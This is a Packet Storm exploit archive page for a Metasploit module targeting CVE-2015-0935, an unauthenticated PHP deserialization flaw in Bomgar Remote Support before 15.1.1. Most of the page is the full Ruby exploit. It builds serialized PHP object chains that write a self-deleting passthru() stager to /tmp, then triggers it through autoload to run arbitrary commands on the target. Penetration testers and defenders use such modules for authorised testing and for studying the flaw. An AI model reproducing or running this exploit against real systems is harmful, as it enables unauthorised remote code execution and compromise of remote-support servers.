what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Bomgar Remote Support Unauthenticated Code Execution

Bomgar Remote Support Unauthenticated Code Execution
Posted Jun 15, 2016
Authored by Markus Wulftange | Site metasploit.com

This Metasploit module exploits a vulnerability in the Bomgar Remote Support, which deserializes user provided data using PHP's unserialize method. By providing an specially crafted PHP serialized object, it is possible to write arbitrary data to arbitrary files. This effectively allows the execution of arbitrary PHP code in the context of the Bomgar Remote Support system user. To exploit the vulnerability, a valid Logging Session ID (LSID) is required. It consists of four key-value pairs (i. e., 'h=[...];l=[...];m=[...];t=[...]') and can be retrieved by an unauthenticated user at the end of the process of submitting a new issue via the 'Issue Submission' form. Versions before 15.1.1 are reported to be vulnerable.

tags | exploit, remote, arbitrary, php
advisories | CVE-2015-0935
SHA-256 | 698e0392eb6fd3200601379e4e3d239ebb1d4c3143e7663f8154566abf6dec9c

Bomgar Remote Support Unauthenticated Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize
super(
'Name' => 'Bomgar Remote Support Unauthenticated Code Execution',
'Description' => %q{
This module exploits a vulnerability in the Bomgar Remote Support, which
deserializes user provided data using PHP's `unserialize` method.
By providing an specially crafted PHP serialized object, it is possible
to write arbitrary data to arbitrary files. This effectively allows the
execution of arbitrary PHP code in the context of the Bomgar Remote Support
system user.

To exploit the vulnerability, a valid Logging Session ID (LSID) is required.
It consists of four key-value pairs (i. e., 'h=[...];l=[...];m=[...];t=[...]')
and can be retrieved by an unauthenticated user at the end of the process
of submitting a new issue via the 'Issue Submission' form.

Versions before 15.1.1 are reported to be vulnerable.
},
'Author' =>
[
'Markus Wulftange',
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'May 5 2015',
'References' =>
[
['CWE', '94'],
['CWE', '502'],
['CVE', '2015-0935'],
['US-CERT-VU', '978652'],
['URL', 'http://codewhitesec.blogspot.com/2015/05/cve-2015-0935-bomgar-remote-support-portal.html'],
],
'Privileged' => false,
'Targets' =>
[
[ 'Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => [ :echo, :printf ]
}
],
[ 'Linux x86_64',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => [ :echo, :printf ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true,
'TARGETURI' => '/session_complete',
},
)

register_options(
[
OptString.new('LSID', [true, 'Logging Session ID']),
], self.class
)
end

def check
version = detect_version

if version
print_status("Version #{version} detected")
if version < '15.1.1'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

print_status("Version could not be detected")
return Exploit::CheckCode::Unknown
end

def exploit
execute_cmdstager

handler
end

def execute_command(cmd, opts)
tmpfile = "/tmp/#{rand_text_alphanumeric(10)}.php"

vprint_status("Uploading payload to #{tmpfile} ...")
upload_php_file(tmpfile, generate_stager_php(cmd))

vprint_status("Triggering payload in #{tmpfile} ...")
execute_php_file(tmpfile)
end

def detect_version
res = send_request_raw(
'uri' => '/'
)

if res and res.code == 200 and res.body.to_s =~ /<!--Product Version: (\d+\.\d+\.\d+)-->/
return $1
end
end

def upload_php_file(filepath, data)
send_pso(generate_upload_file_pso(filepath, data))
end

def execute_php_file(filepath)
send_pso(generate_autoload_pso(filepath))
end

def send_pso(pso)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'lsid' => datastore['LSID'],
'survey' => pso,
}
)

if res
if res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected response from server: status code #{res.code}")
end
if res.body.to_s =~ />ERROR: ([^<>]+)</
fail_with(Failure::Unknown, "Error occured: #{$1}")
end
else
fail_with(Failure::Unreachable, "Error connecting to the remote server") unless successful
end

res
end

def generate_stager_php(cmd)
"<?php unlink(__FILE__); passthru('#{cmd.gsub(/[\\']/, '\\\\\&')}');"
end

def generate_upload_file_pso(filepath, data)
log_file = PHPObject.new(
"Log_file",
{
"_filename" => filepath,
"_lineFormat" => "",
"_eol" => data,
"_append" => false,
}
)
logger = PHPObject.new(
"Logger",
{
"\0Logger\0_logs" => [ log_file ]
}
)
tracer = PHPObject.new(
"Tracer",
{
"\0Tracer\0_log" => logger
}
)

serialize(tracer)
end

def generate_autoload_pso(filepath)
object = PHPObject.new(
filepath.chomp('.php').gsub('/', '_'),
{}
)

serialize(object)
end

class PHPObject
attr_reader :name, :members

def initialize(name, members)
@name = name
@members = members
end
end

def serialize(value)
case value.class.name.split('::').last
when 'Array' then serialize_array_numeric(value)
when 'Fixnum' then serialize_integer(value)
when 'Float' then serialize_double(value)
when 'Hash' then serialize_array_assoc(value)
when 'Nil' then serialize_nil
when 'PHPObject' then serialize_object(value)
when 'String' then serialize_string(value)
when 'TrueClass', 'FalseClass' then serialize_boolean(value)
else raise "Value of #{value.class} cannot be serialized"
end
end

def serialize_array_numeric(a)
"a:#{a.size}:{" + a.each_with_index.map { |v, i|
serialize_integer(i) + serialize(v)
}.join + "}"
end

def serialize_array_assoc(h)
"a:#{h.size}:{" + h.each_pair.map { |k, v|
serialize_string(k) + serialize(v)
}.join + "}"
end

def serialize_boolean(b)
"b:#{b ? '1' : '0'};"
end

def serialize_double(f)
"d:#{f};"
end

def serialize_integer(i)
"i:#{i};"
end

def serialize_null
"N;"
end

def serialize_object(o)
"O:#{serialize_string(o.name)[2..-2]}:#{serialize_array_assoc(o.members)[2..-1]}"
end

def serialize_string(s)
"s:#{s.size}:\"#{s}\";"
end

end

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close